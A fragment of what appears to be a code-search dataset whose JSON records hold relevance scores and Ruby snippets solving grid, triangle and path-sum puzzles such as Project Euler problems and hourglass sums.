"text": "def problem_82\n grid = open(\"matrix.txt\").each_line.to_a.map do |l|\n l.chomp.split(/,/).map(&:to_i)\n end.transpose\n\n # return a new row with the minimum values achievable\n # moving from x0 to x1\n right_min = lambda do |x0,x1|\n len = x0.length\n ret = []\n (0...len).each do |y|\n # For each y item we calcultate the possible scores of\n # moving up(n)/down(n) then right\n delta = []\n delta[y] = 0\n (y-1).downto(0).each do |yy|\n delta[yy] = delta[yy+1] + x0[yy]\n end\n (y+1).upto(len-1).each do |yy|\n delta[yy] = delta[yy-1] + x0[yy]\n end\n # delta is the up/down cost, now add the value of the right element\n delta.each_index do |i|\n delta[i] = delta[i] + x1[i]\n end\n # Delta now contains possible values to the next row, put the smallest\n # in the return spot\n ret[y] = x0[y] + delta.min\n end\n ret\n end\n\n # Start at the back and keep on generating new 'final' columns\n # # Start at the back and keep on generating new 'final' columns.\n last = right_min.call(grid[-2],grid[-1])\n (grid.length-3).downto(0).each do |x|\n last = right_min.call(grid[x],last)\n end\n last.min\nend",
"title": ""
},
{
"docid": "d54a218daabba5a0231d7a2760030678",
"score": "0.61124295",
"text": "def next_line(sum, a, pn, l)\n if l < a.size\n [a[l][pn], a[l][pn+1]].each_with_index.map { |e, i|\n next_line(sum + e, a, pn + i, l + 1)\n }.max\n else\n sum\n end\nend",
"title": ""
},
{
"docid": "1d32ede95fc4d56e6a31714dcd1895b0",
"score": "0.61060864",
"text": "def hourglassSum(arr)\n max_sum = -9*7\n (1..4).each do |row|\n (1..4).each do |col|\n sum = arr[row][col] \n sum += arr[row-1][col-1..col+1].reduce(:+)\n sum += arr[row+1][col-1..col+1].reduce(:+)\n max_sum = [max_sum,sum].max\n end\n end\n return max_sum\nend",
"title": ""
},
{
"docid": "8924016430f31784c37878f5b66b30cc",
"score": "0.6093651",
"text": "def largest_grid_product\r\n max = 0\r\n (0..G.size-4).each do |i|\r\n (0..G[i].size-4).each do |j|\r\n max = [ max,\r\n G[i][j]*G[i+1][j]*G[i+2][j]*G[i+3][j], # vertical product\r\n G[i][j]*G[i][j+1]*G[i][j+2]*G[i][j+3], # horizontal product\r\n G[i][j]*G[i+1][j+1]*G[i+2][j+2]*G[i+3][j+3], # diagonal products\r\n G[i][j+3]*G[i+1][j+2]*G[i+2][j+1]*G[i+3][j]\r\n ].max\r\n end\r\n end\r\n max\r\nend",
"title": ""
},
{
"docid": "17c232dbe4f84da3a2728bd8c4955e67",
"score": "0.6090572",
"text": "def find_largest_spiral_value(target)\n x, y, value, direction, distance = 0, 0, 1, \"right\", 1\n cache = { [x, y] => value }\n\n while value <= target do\n case direction\n when \"right\"\n if (x + 1).abs <= distance\n x += 1\n value = neighbor_sum(x, y, cache)\n cache[ [x,y] ] = value\n else\n direction = \"up\"\n redo\n end\n\n when \"up\"\n if (y + 1).abs <= distance\n y += 1\n value = neighbor_sum(x, y, cache)\n cache[ [x,y] ] = value\n else\n direction = \"left\"\n redo\n end\n\n when \"left\"\n if (x - 1).abs <= distance\n x -= 1\n value = neighbor_sum(x, y, cache)\n cache[ [x,y] ] = value\n else\n direction = \"down\"\n redo\n end\n\n when \"down\"\n if (y - 1).abs <= distance\n y -= 1\n value = neighbor_sum(x, y, cache)\n cache[ [x,y] ] = value\n else\n direction = \"right\"\n distance += 1\n redo\n end\n\n else\n raise \"WAT\"\n end\n end\n\n value\nend",
"title": ""
},
{
"docid": "11d5fe206461dc964a6fbf70141c3f8a",
"score": "0.6089311",
"text": "def solve\n t = IO.read( 'resources/0067_triangle.txt' ).split.map(&:to_i)\n t.tree_sum\n end",
"title": ""
},
{
"docid": "89ea4057381e7025e0504ef9eb6143d6",
"score": "0.6084135",
"text": "def find_max_prod\n\t\ttime do\n\t\t\t(0..@rows-1).each do |row|\n\t\t\t\t(0..@cols-1).each do |col|\n\t\t\t\t\tpos = [row, col]\n\t\t\t\t\t[[0,1],[1,0],[1,1],[1,-1]].each do |dir|\n\t\t\t\t\t\tcheck_product(pos, dir) unless !(0..@rows-1).include?(row+(@len-1)*dir[0]) || !(0..@cols-1).include?(col+(@len-1)*dir[1])\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"The maximum product is equal to #{@max_prod} from elements #{@nums}.\"\n\t\t\tself.print_sol_grid\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bb690eb54f9bd6e0f38b7ecdb9033a70",
"score": "0.6078626",
"text": "def find_biggest_x(matrix)\n\n longest_x = 0\n # visited_coords = []\n\n matrix.each_index do |row_idx|\n matrix[row_idx].each_with_index do |num, col_idx|\n\n # if num == 1 && !visited_coords.include?([row_idx, col_idx])\n if num == 1\n #check_for_x returns:\n # length of 1s chain\n # longest cross found and its starting_coords\n # chain_length, longest_current_x,starting_coords = check_for_x(row_idx, col_idx, matrix)\n\n longest_current_x = check_for_x(row_idx, col_idx, matrix)\n\n longest_x = longest_current_x if longest_current_x > longest_x\n\n end\n\n end\n end\n\n longest_x\n\nend",
"title": ""
},
{
"docid": "6501a5958739385ae6dcca287abc48fe",
"score": "0.6075417",
"text": "def largest_grid_product\n grid =\n [\n 8, 2,22,97,38,15, 0,40, 0,75, 4, 5, 7,78,52,12,50,77,91, 8,\n 49,49,99,40,17,81,18,57,60,87,17,40,98,43,69,48, 4,56,62,00,\n 81,49,31,73,55,79,14,29,93,71,40,67,53,88,30, 3,49,13,36,65,\n 52,70,95,23, 4,60,11,42,69,24,68,56, 1,32,56,71,37, 2,36,91,\n 22,31,16,71,51,67,63,89,41,92,36,54,22,40,40,28,66,33,13,80,\n 24,47,32,60,99, 3,45, 2,44,75,33,53,78,36,84,20,35,17,12,50,\n 32,98,81,28,64,23,67,10,26,38,40,67,59,54,70,66,18,38,64,70,\n 67,26,20,68, 2,62,12,20,95,63,94,39,63, 8,40,91,66,49,94,21,\n 24,55,58, 5,66,73,99,26,97,17,78,78,96,83,14,88,34,89,63,72,\n 21,36,23, 9,75,00,76,44,20,45,35,14,00,61,33,97,34,31,33,95,\n 78,17,53,28,22,75,31,67,15,94, 3,80, 4,62,16,14, 9,53,56,92,\n 16,39, 5,42,96,35,31,47,55,58,88,24,00,17,54,24,36,29,85,57,\n 86,56,00,48,35,71,89, 7, 5,44,44,37,44,60,21,58,51,54,17,58,\n 19,80,81,68, 5,94,47,69,28,73,92,13,86,52,17,77, 4,89,55,40,\n 4,52, 8,83,97,35,99,16, 7,97,57,32,16,26,26,79,33,27,98,66,\n 88,36,68,87,57,62,20,72, 3,46,33,67,46,55,12,32,63,93,53,69,\n 4,42,16,73,38,25,39,11,24,94,72,18, 8,46,29,32,40,62,76,36,\n 20,69,36,41,72,30,23,88,34,62,99,69,82,67,59,85,74, 4,36,16,\n 20,73,35,29,78,31,90, 1,74,31,49,71,48,86,81,16,23,57, 5,54,\n 1,70,54,71,83,51,54,69,16,92,33,48,61,43,52, 1,89,19,67,48\n ]\n answer = 0\n (0..399).each do |i|\n row = (i / 20).floor\n col = ((i - (row * 20)) % 20)\n\n if col < 17\n rl_sum = grid[i] *\n grid[i + 1] *\n grid[i + 2] *\n grid[i + 3]\n answer = [answer, rl_sum].max\n\n if row < 17\n f_diag_sum = grid[i] *\n grid[i + 21] *\n grid[i + 42] *\n grid[i + 63]\n\n answer = [answer, f_diag_sum].max\n end\n end\n\n if row < 17\n ud_sum = grid[i] *\n grid[i + 20] *\n grid[i + 40] *\n grid[i + 60]\n\n answer = [answer, ud_sum].max\n\n if col > 3\n b_diag_sum = grid[i] *\n grid[i + 19] *\n grid[i + 38] *\n grid[i + 57]\n answer = [answer, b_diag_sum].max\n end\n end\n # puts \"[#{i}](#{row}/#{col})rl[#{rl_sum}]ud[#{ud_sum}]fd[#{f_diag_sum}]bd[#{b_diag_sum}]=#{answer}\"\n end\n answer\nend",
"title": ""
},
{
"docid": "c29c3c4ac05387927487b43114cd5c31",
"score": "0.60741174",
"text": "def get_max_product(matrix, direction)\n max = 0\n (1..WIDTH).each do |j|\n (1..(HEIGHT-4)).each do |i|\n product = 1\n (0..3).each do |offset|\n i_index = 0;\n j_index = 0;\n if \"horizontal\" == direction\n i_index = i + offset\n j_index = j\n elsif \"vertical\" == direction\n i_index = i\n j_index = j + offset\n elsif \"left diagonal\" == direction\n i_index = i + offset\n j_index = j + offset\n elsif \"right diagonal\" == direction\n i_index = i + offset\n j_index = j - offset\n end\n value = matrix[[i_index, j_index]]\n if \"Fixnum\" == value.class.to_s\n product *= value \n end\n end \n if product > max\n max = product\n end\n end\n end\n max\nend",
"title": ""
},
{
"docid": "ef04d0a44a1b62779c9e6fdbb135406b",
"score": "0.6045675",
"text": "def p67\n require 'pyramid'\n require_relative '../test/pyramid_sets.rb'\n puts \"The the maximum sum possible following a path from top to bottom \"\\\n \"in the given 'pyramid' of numbers is: \"\\\n \"#{ Pyramid.maximum_path_sum PyramidSets::P3 }\"\n end",
"title": ""
},
{
"docid": "729c969f724a7dd2e10dfe813312022d",
"score": "0.603872",
"text": "def calculate_go_up(rows, paths_size)\n if paths_size % 2 == 1 # if the previous path was a \"left\" leaf\n 1 # we want the \"right\" leaf next\n else\n # there's probably a mathier way to do this. here's what i did:\n # mapped out for triangle's of size 2, 3, 4, 5 what the \"go_up\" value was for each path size\n # (size 2, number of paths 2) 1\n # (size 3, number of paths 4) 1 2 1\n # (size 4, number of paths 8) 1 2 1 3 1 2 1\n # (size 5, number of paths 16) 1 2 1 3 1 2 1 4 1 2 1 3 1 2 1\n # (size 6, number of paths 32) 1 2 1 3 1 2 1 4 1 2 1 3 1 2 1 5 1 2 1 3 1 2 1 4 1 2 1 3 1 2 1\n # like i said, that kind of pattern has to be something mathy. for me i noticed:\n # - ignore the 1's, that's handled by paths_size % 2 == 1 and makes sense\n # - everything else followed a pattern:\n # + regardless of triangle size, \"go_up\" is consistent (there's just more)\n # + 2's were on 2, 6, 10, 14 ...\n # + 3's were on 4, 12, 20, 28 ...\n # + 4's were on 8, 24 ...\n # put another way, SIZE % (2 ** x) == 2 ** (x - 1), where x is \"go_up\":\n # + 6 % (2 ** 2) == 2 ** (2 - 1) === 2 % 4 == 2\n # + 20 % (2 ** 3) == 2 ** (3 - 1) === 20 % 8 == 4\n # + 24 % (2 ** 4) == 2 ** (4 - 1) === 24 % 16 == 8\n rows.times.map { |i| i+1 }.detect do |x| # we want x to be 1..size, not 0-based\n paths_size % (2 ** x) == 2 ** (x - 1) # see my garbo math above\n end\n end\nend",
"title": ""
},
{
"docid": "14b662a02be371f8323a59948b87adb0",
"score": "0.6037308",
"text": "def hourglassSum(arr)\n max = -100\n\n 4.times do |i|\n 4.times do |k|\n # i starts with zero\n sum = arr[k][i]+arr[k][i+1]+arr[k][i+2]+arr[k+1][i+1]+arr[k+2][i]+arr[k+2][i+1]+arr[k+2][i+2]\n max = sum if sum>max\n end\n end\nreturn max\nend",
"title": ""
},
{
"docid": "a388b12be8eb7ac111cc6658764b7c5d",
"score": "0.60334575",
"text": "def best_option_row(row, col, table)\n options = get_start_row(row, col, table)\n return 0 if options.empty? \n number_of_best_moves = 1\n best_move = 99\n options.each do |option|\n moves = 0\n if(option <= 3)\n (option..(option + 3)).each do |option_col|\n moves += count_number_of_moves(row, option_col, table)\n end\n else\n ((option - 3)..option).each do |option_col|\n moves += count_number_of_moves(row, option_col, table)\n end\n end\n number_of_best_moves += 1 if moves == best_move\n number_of_best_moves = 1 if moves < best_move\n best_move = moves if moves < best_move\n end\n\n number_of_best_moves * best_move\nend",
"title": ""
},
{
"docid": "736edbb6770f7e51e66c64b64c41545b",
"score": "0.60166144",
"text": "def largest_tri_product(arr)\n return nil if arr.length < 3\n return arr.inject(:*) if arr.length == 3\n largest_three = arr.take(3)\n smallest_two = arr.take(2)\n arr.each do |num|\n minimum_large = largest_three.min\n maximum_small = smallest_two.max\n if num > minimum_large\n i = largest_three.find_index(minimum_large)\n largest_three[i] = num\n elsif num < smallest_two.max\n j = smallest_two.find_index(maximum_small)\n smallest_two[j] = num\n end\n end\n opt1 = largest_three.inject(:*)\n opt2 = smallest_two.inject(:*) * largest_three.max\n [opt1, opt2].max\nend",
"title": ""
},
{
"docid": "5e0296890a1cf9d7a0e26cd9feec7ea4",
"score": "0.6011145",
"text": "def min_path_sum(grid)\n rows = grid.size\n cols = grid[0].size\n min_path_helper(grid, rows - 1, cols - 1)\nend",
"title": ""
},
{
"docid": "94f7e7da4bfe7e650e157c502a755a72",
"score": "0.6006705",
"text": "def problem_86\n total = 0\n a = 1\n loop do\n a += 1\n aa = a*a\n (1..(a*2-1)).each do |d|\n tmp = Math.sqrt(aa + d*d)\n next if tmp != tmp.to_i\n\n e = d/2\n max_sols = e\n e += 1 if d.odd?\n expanded = a - e + 1\n total += (expanded > max_sols) ? max_sols : expanded\n end\n break if total > 1_000_000\n end\n a\nend",
"title": ""
},
{
"docid": "e0eef1298ab480a274905c36c3593fd6",
"score": "0.60007805",
"text": "def hourglassSum(arr)\n main_arr = arr\n largest_sum = 0\n\n arr.each do |a|\n a.each do |i|\n i = 2\n max_hourglass_diagonal_dimension = main_arr.dig(i + 2, i + 2)\n # puts max_hourglass_diagonal_dimension\n unless max_hourglass_diagonal_dimension.nil?\n top_left_hourglass_node = main_arr[i][i]\n top_middle_hourglass_node = main_arr[i][i+1]\n top_right_hourglass_node = main_arr[i][i+2]\n middle_hourglass_node = main_arr[i+1][i+1]\n bottom_middle_hourglass_node = main_arr[i+2][i+1]\n bottom_left_hourglass_node = main_arr[i+2][i]\n bottom_right_hourglass_node = main_arr[i+2][i+2]\n\n sum_of_hourglass_node = top_left_hourglass_node + top_middle_hourglass_node +\n top_right_hourglass_node + middle_hourglass_node + bottom_middle_hourglass_node +\n bottom_left_hourglass_node + bottom_right_hourglass_node\n\n largest_sum = largest_sum < sum_of_hourglass_node ? sum_of_hourglass_node : largest_sum\n end\n end\n end\n\n largest_sum\nend",
"title": ""
},
{
"docid": "b031df48c0f14cef7a06c8d8f35424f5",
"score": "0.59998393",
"text": "def minimum_total_helper(triangle, row, col, sum, cache)\n return sum if row == triangle.size\n\n return cache[[row, col]] if cache[[row, col]]\n\n cache[[row, col]] = sum += triangle[row][col]\n p cache\n return [minimum_total_helper(triangle, row + 1, col, sum, cache), minimum_total_helper(triangle, row + 1, col + 1, sum, cache)].min\nend",
"title": ""
},
{
"docid": "dfa168c08901f521bc597a9f0ba26221",
"score": "0.5990683",
"text": "def max_product ar\n max_prod = 1;\n two_d = set_up ar\n for r in 0..19\n for c in 0..19\n # right\n if c <= 16\n prod = 1\n (c..c+3).each do |x|\n prod *= two_d[r][x]\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n # left\n if c >= 3\n prod = 1\n (c-3..c).each do |x|\n prod *= two_d[r][x]\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n # up\n if r >=3\n prod = 1\n (r-3..r).each do |x|\n prod *= two_d[x][c]\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n #down\n if r <= 16\n prod = 1\n (r..r+3).each do |x|\n prod *= two_d[x][c]\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n #left_up\n if r >=3 && c >=3\n prod = 1\n nr = r\n nc = c\n 4.times do\n prod *= two_d[nr][nc]\n nr -= 1\n nc -= 1\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n #left_down\n if c >= 3 && r <=16\n prod = 1\n nr = r\n nc = c\n 4.times do\n prod *= two_d[nr][nc]\n nr += 1\n nc -= 1\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n #right_up\n if c <= 16 && r >= 3\n prod = 1\n nr = r\n nc = c\n 4.times do\n prod *= two_d[nr][nc]\n nr -= 1\n nc += 1\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n #right_down\n if c <= 16 && r <= 16\n prod = 1\n nr = r\n nc = c\n 4.times do\n prod *= two_d[nr][nc]\n nr += 1\n nc += 1\n end\n if prod > max_prod\n max_prod = prod\n end\n end\n end\n end\n max_prod\nend",
"title": ""
},
{
"docid": "e748bce173bd5b0ecd9a3304c01cbcdb",
"score": "0.5980893",
"text": "def max_path( data )\n\t# Keep some stats\n\tfollowed = 0\n\n\t# Calculate the score for the root node\n\tscore = yield [0],data\n\n\t# ordered list of open candidates from best to worst estimates\n\t# populate with root node\t\n\tcandidates = [ {:path=>[0], :f=>score} ]\n\t\n\t# keep track of nodes that are explored. We will reach a node\n\t# using the most optimal path first so if we hit the node again\n\t# later we can discard that path since we already had a better one.\n\t# Store a row-based array or arrays of followed nodes\n\texplored = []\n\n\twhile true\n\t\t# Pull off candidate with top score\n\t\tnode = candidates.shift\n\t\t\n\t\t# Hit the bottom, found a path\n\t\tif node[:path].length == data.length then\n\t\t\t# Print statistics on # nodes explored and total # of nodes in problem\n\t\t\tputs \"#{followed} of #{(data.length * (data.length+1))/2} explored\"\n\t\t\treturn node[:path]\n\t\tend\n\t\t\n\t\t# Row of this node is path_length - 1\n\t\trow = node[:path].length-1\n\t\texplored[row] = [] if explored[row] == nil\n\t\t\n\t\t# Skip processing this node if we're already explored it before\n\t\t# since we know any subsequent path here has a lower score\n\t\tcolumn = node[:path].last\n\t\tnext if explored[row].include? column\n\t\t\n\t\t# Remember this node as explored\n\t\texplored[row].push column\n\t\tfollowed += 1\n\t\n\t\t# Process left and right directions below current node\n\t\t(0..1).each do |n|\n\t\t\tchild_idx = column + n\n\t\t\t# Create child's path and score values\n\t\t\tchild_path = Array.new(node[:path]).push(child_idx)\n\t\t\tscore = yield child_path,data\n\t\t\t# Create child object\n\t\t\tchild = {:path=>child_path, :f=>score}\n\t\t\t# Sorted insert in candidates list based on :f value \n\t\t\t# Highest f value goes at head of list\n\t\t\tsorted_insert(candidates, child) { |val,e| val[:f] >= e[:f] }\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "dee56e8be75b72c4d1a08c6458d6a33e",
"score": "0.5977211",
"text": "def hourglassSum(arr)\n res = []\n max = nil\n data = []\n arr.each_with_index do |row, main_index|\n \tnext if main_index > 3\n\n row.each_with_index do |ele, index|\n\n \t\tnext if index > 3\n res << ele\n res << row[index+1]\n res << row[index+2]\n second_row = arr[main_index+1]\n res << second_row[(index + (index+2))/2]\n third_row = arr[main_index+2]\n res << third_row[index]\n res << third_row[index+1]\n res << third_row[index+2]\n\n\t if max.nil? || max < res.inject(:+)\n\t max = res.inject(:+)\n\t end\n\t res =[]\n end\n\n end\n max\nend",
"title": ""
},
{
"docid": "e8825fc2bf6386adf008ec3038436a26",
"score": "0.5976095",
"text": "def grid_routes(i, j, routes)\n temp = j && j = i && i = temp if i > j # If the number we want to calculate is in the lower triangle of the matrix, we swap it to use only the upper triangle\n return routes[i][j] if routes[i][j] > -1\n routes[i][j] = 2 * grid_routes(i-1, j, routes) if i == j\n routes[i][j] = grid_routes(i-1, j, routes) + grid_routes(i, j-1, routes) if j > i\n routes[i][j]\nend",
"title": ""
},
{
"docid": "db3b94c69c5cdb6abb85715920d38968",
"score": "0.5975919",
"text": "def problem56\n max = 0\n 99.downto(1) do |b|\n 99.downto(1) do |a|\n e = a**b\n sum = 0\n e.to_s.split('').each do |d|\n sum += d.to_i\n end\n max = sum if sum > max\n end\n end\n max\nend",
"title": ""
},
{
"docid": "250822b81e5f75cd04539d6fa2c8ceeb",
"score": "0.5972382",
"text": "def distance root, grid\n step = 0\n heigh = grid.size\n length = grid[0].size\n\n queue = []\n queue.push root\n while queue != []\n size = queue.size\n\n # Quét hết 1 vòng 4 node xung quanh, nếu full là 1 thì cộng step lên 1\n # có 1 node = 0 thì return step luôn\n (0..(size - 1)).each do |_i|\n cur = queue.shift\n row = cur[:row]\n col = cur[:col]\n\n return step if grid[row][col] == 0\n\n queue.push({row: row - 1, col: col}) unless row == 0 # UP\n queue.push({row: row + 1, col: col}) unless row + 1 == heigh # Down\n queue.push({row: row, col: col - 1}) unless col == 0 # Left\n queue.push({row: row, col: col + 1}) unless col + 1 == length # Right\n end\n\n step += 1\n end\nend",
"title": ""
},
{
"docid": "84acc65f827c79d9ac5201d926e98455",
"score": "0.5969512",
"text": "def pascals_triangle(num)\n triangle = []\n i = 1\n while triangle.length < num\n row = [1]\n y = i\n while row.length < i\n x = 0\n while row.length < i - 1\n #y = 3 i = 3 \n #triangle[2][1] == triangle[1][0] + triangle[1][1]\n row << triangle[y - 2][x] + triangle[y - 2][x + 1]\n #triangle[3][1] == triangle [2][0] + triangle[2][1]\n #triangle[3][2] == triangle[2][1] + triangle[2][2]\n x += 1\n end\n row << 1\n end\n triangle << row\n i += 1\n end\n triangle\nend",
"title": ""
},
{
"docid": "7109d3c366cc4a9664a6c4ff9de70319",
"score": "0.5962452",
"text": "def problem45\n (40756..Float::INFINITY).each do |num|\n tri = to_triangular(num)\n return tri if hexagonal?(tri) && pentagonal?(tri)\n end\nend",
"title": ""
},
{
"docid": "b3f40107a7d999581ce46903c51c1951",
"score": "0.5958994",
"text": "def triangle_number_brute_force(nums) \n return 0 if nums.length < 3\n count = 0\n nums.sort!\n (0..nums.length-3).each do |i1|\n (i1+1..nums.length-2).each do |i2|\n (i2+1..nums.length-1).each do |i3|\n # sorted nums required, assumes n1 <= n2 <= n3\n count += 1 if nums[i1] + nums[i2] > nums[i3]\n end\n end\n end\n count\nend",
"title": ""
},
{
"docid": "d7669d51e20832c4a90f8dd7562334ad",
"score": "0.59503245",
"text": "def xwgl\n matrix = []\n File.open(\"src/problem-83/matrix.txt\").each do |l|\n matrix.push l.chop.split(',').map { |num| num.to_i }\n end\n\n # make the matrix one dimentional plz\n matrix.flatten!\n finishLocation = 6399\n\n # test matrix\n # matrix = [[5,6,7,8],[1,2,4,5],[2,9,7,3],[100,5,2,8]]\n # matrix = [5, 6, 7, 8, 1, 2, 4, 5, 2, 9, 7, 3, 100, 5, 2, 8]\n\n # setup, we already have the first coordinate\n alreadyHave = [0]\n possibleEdges = { [0, 1] => matrix[1],\n [0, 80] => matrix[80]}\n minimalSpanningTree = []\n\n while not alreadyHave.include? finishLocation\n\n # finding the next coordinate to add to alreadyhave\n nextAdd = possibleEdges.min_by { |edge, val| val }\n nextCoor = nextAdd[0][1]\n\n alreadyHave.push nextCoor\n\n # prepping possibleEdges\n possibleEdges.delete_if { |edge, val| edge[1] == nextCoor }\n possibleEdges.each do |edge, val|\n possibleEdges[edge] -= nextAdd[1]\n end\n\n # add this edge to the tree\n minimalSpanningTree.push nextAdd[0]\n\n # adding the next coordinates\n [-80, 80, -1, 1].each do |offset|\n\n addEdgeCoor = offset + nextCoor\n\n # check not out of bounds\n case offset\n when 1\n next if addEdgeCoor % 80 == 0\n when -1\n next if addEdgeCoor % 80 == 79\n when -80\n next if addEdgeCoor < 0\n when 80\n next if addEdgeCoor > 6399\n end\n\n # check doesn't already iclude\n next if alreadyHave.include? addEdgeCoor\n\n # add the new edge\n possibleEdges[[nextCoor, addEdgeCoor]] = matrix[addEdgeCoor]\n\n end\n end\n\n # compute sum of min path\n start = finishLocation\n result = matrix[6399]\n while start != 0\n start = minimalSpanningTree.find{|edge| edge[1] == start}[0]\n result += matrix[start]\n end\n\n result\n\nend",
"title": ""
},
{
"docid": "7c975c8cdedeaf5e66898a15924b230e",
"score": "0.5948531",
"text": "def find_triplets(max)\n triplets = []\n (1..max).each do |a|\n a2 = a * a\n (a+1..max).each do |b|\n b2 = b * b\n c = Math.sqrt(a2 + b2)\n if c % 1 == 0\n triplets << [a,b,c]\n end\n end\n end\n triplets\nend",
"title": ""
},
{
"docid": "283dbe70577a233fb60a49437a38e7a2",
"score": "0.59468126",
"text": "def get_maximum_gold(grid)\n max = 0\n rows = grid.length\n columns = grid[0].length\n\n (0...rows).each do |row|\n (0...columns).each do |col|\n next if grid[row][col] == 0\n current_max = explore(grid, row, col, 0, {})\n max = current_max if current_max > max\n end\n end\n\n max\nend",
"title": ""
},
{
"docid": "5b7bc458885670b6fb1f99a9ffc58c66",
"score": "0.59467286",
"text": "def pascals_triangle(depth)\n # all arrays have 1's in common as the first and last items, except array at (0)\n # do not think like you are working to derive solution/s of an algebraic equation\n # if you look at the test cases (especially, the case when depth is 4),\n # it's clear that each array is derrived from the items of the previous array\n # each item is the sum of items at indices (i - 1) and (i),\n # except the items at indices (0) and (-1)\n # imagine of a logic that will add 1 as items at (0) and (-1) to all the rows(arrays)\n triangle = [[1]]\n # until triangle.length > depth # same as below\n while triangle.length <= depth # same as above or below\n triangle << next_row(triangle[-1])\n end\n\n triangle\nend",
"title": ""
},
{
"docid": "1282e4591aec23c53341f581f03ddd9d",
"score": "0.5946487",
"text": "def test_way_left\n\t\tarray_triangle = [[6],\n\t\t\t\t\t\t [5,0],\n\t\t\t\t\t\t[1,0,0],\n\t\t\t\t\t [4,0,0,0],\n\t\t\t\t\t [8,0,0,0,0]]\n\t\tassert_equal 24, @hell_triangle.select_max_way_on_triangle(array_triangle)\n\tend",
"title": ""
},
{
"docid": "40f3f681e753e172555560c531be35aa",
"score": "0.59383035",
"text": "def min_path_sum(grid)\n min_sum(grid, row = grid.size - 1, col = grid[0].size - 1, {})\nend",
"title": ""
},
{
"docid": "c1e814f9e4fbe5900553cb7665919cc0",
"score": "0.59356654",
"text": "def solution(a)\n a.sort!\n [a.last(3).inject(:*), (a.first(2) + a.last(1)).inject(:*)].max\nend",
"title": ""
},
{
"docid": "20ee418e1cbaf6c394c36e4b53293d42",
"score": "0.5930637",
"text": "def p18\n require 'pyramid'\n require_relative '../test/pyramid_sets.rb'\n puts \"The the maximum sum possible following a path from top to bottom \"\\\n \"in the given 'pyramid' of numbers is: \"\\\n \"#{ Pyramid.maximum_path_sum PyramidSets::P2 }\"\n end",
"title": ""
},
{
"docid": "31e344546eb41f84d7546b57ffdd726f",
"score": "0.59272623",
"text": "def cumulative_triangle(n)\n last_digit = 0\n for i in 1..n #row\n row = []\n begin\n last_digit += 1\n row << last_digit\n end until row.size == i\n return row.inject {|sum, n| sum+ n} if i == n\n end \nend",
"title": ""
},
{
"docid": "fcc39440c4758f1f577d6ffb74da6eeb",
"score": "0.59213346",
"text": "def pascals_triangle(n)\n answer = [[1]]\n while answer.length < n\n level_1 = answer.last\n level_2 = [1]\n level_2 += adjacent_sum(level_1)\n level_2 << 1\n #level_2[1].flatten\n answer << level_2\n end\n answer\nend",
"title": ""
},
{
"docid": "2b03e5b28143966f255d5507950bb4e6",
"score": "0.5917368",
"text": "def find_best_point(d,matrix)\n max_cell = [0,0,0]\n max_power = 0\n (1..298).each do |y|\n (1..298).each do |x|\n if d < 300 - [x,y].max\n total = 0\n (y..y+d).each do |b|\n (x..x+d).each do |a|\n total += matrix[b][a].power\n end\n end\n if total > max_power\n max_power = total\n max_cell = [x,y,d]\n end\n end\n end\n end\n return [max_cell, max_power]\nend",
"title": ""
},
{
"docid": "191e5b3c67e29fce9165ea739b91f500",
"score": "0.59118086",
"text": "def T(n) # n = size of large triangle\n t = n*n # number of size 1 triangles\n tc = (6*t) - (3*n) + 3 # number of connections\n # (tc * tc + tc + 4) / t\n tc * tc - 20\nend",
"title": ""
},
{
"docid": "c2e2ead40e3b50101b38a3e39e30f213",
"score": "0.591063",
"text": "def find_triples_that_sum_to(sum)\n a = 1\n found = false\n while (a < (sum/3))\n b=a\n while (b < (sum/2))\n c = sum - a - b\n\n found = true if ((a*a) + (b*b) == (c*c))\n break if found\n b += 1\n end\n break if found\n a += 1\n end\n puts \"#{a}, #{b}, #{c}\"\n puts a*b*c\nend",
"title": ""
},
{
"docid": "d126b794382588618d12438a5e46269e",
"score": "0.59047395",
"text": "def solution(a)\n a.sort!\n triplets = 0\n a.each_with_index do |p, i|\n k = i + 2\n a[i+1..-1].each_with_index do |q, j|\n k += 1 while k < a.length && p + q > a[k]\n triplets += k - j - i - 2\n end\n end\n triplets\nend",
"title": ""
},
{
"docid": "89f929c39ebba844f05f030f21096106",
"score": "0.5903941",
"text": "def bottom_up(tri)\n last_row = nil\n tri.reverse.each do |row|\n if last_row\n last_row = row.each_with_index.map do |n,i|\n a = last_row[i].to_i\n b = last_row[i+1].to_i\n higher = a > b ? a : b\n n.to_i + higher\n end\n else\n last_row = row\n end\n end\n last_row\nend",
"title": ""
},
{
"docid": "ee82fbb8ce8d2e5fc0995dafa185292e",
"score": "0.5901608",
"text": "def find_largest\n rows.each_with_index do |row, r|\n row.each_with_index do |col, c|\n self.current_y = r\n self.current_x = c\n if self.current_x < col_amount - 3\n t = []\n v = []\n 4.times do |i|\n t << val(c+i,r)\n v << [c+i,r]\n\n v.each { |xy| colorize(xy[0], xy[1], :green, :background) } \n display\n end\n if t.inject(:*) > self.current_highest_val\n self.current_highest_val = t.inject(:*)\n self.current_highest_coords = v\n end\n end\n\n #down\n if self.current_y < row_amount - 3\n t = []\n v = []\n 4.times do |i|\n t << val(c,r+i)\n v << [c,r+i]\n\n v.each { |xy| colorize(xy[0], xy[1], :green, :background) } \n display\n end\n if t.inject(:*) > self.current_highest_val\n self.current_highest_val = t.inject(:*)\n self.current_highest_coords = v\n end\n end\n\n #down-right\n if self.current_y < row_amount - 3 && self.current_x < col_amount - 3\n t = []\n v = []\n 4.times do |i|\n t << val(c+i,r+i)\n v << [c+i,r+i]\n\n v.each { |xy| colorize(xy[0], xy[1], :green, :background) } \n display\n end\n if t.inject(:*) > self.current_highest_val\n self.current_highest_val = t.inject(:*)\n self.current_highest_coords = v\n end\n end\n\n #down-left\n if self.current_y < row_amount - 3 && self.current_x > 2\n t = []\n v = []\n 4.times do |i|\n t << val(c-i,r+i)\n v << [c-i,r+i]\n\n v.each { |xy| colorize(xy[0], xy[1], :green, :background) } \n display\n end\n if t.inject(:*) > self.current_highest_val\n self.current_highest_val = t.inject(:*)\n self.current_highest_coords = v\n end\n end\n\n\n end\n end\n\n end",
"title": ""
},
{
"docid": "9fee75f9411db253b6445fb61b0c6a9c",
"score": "0.5881171",
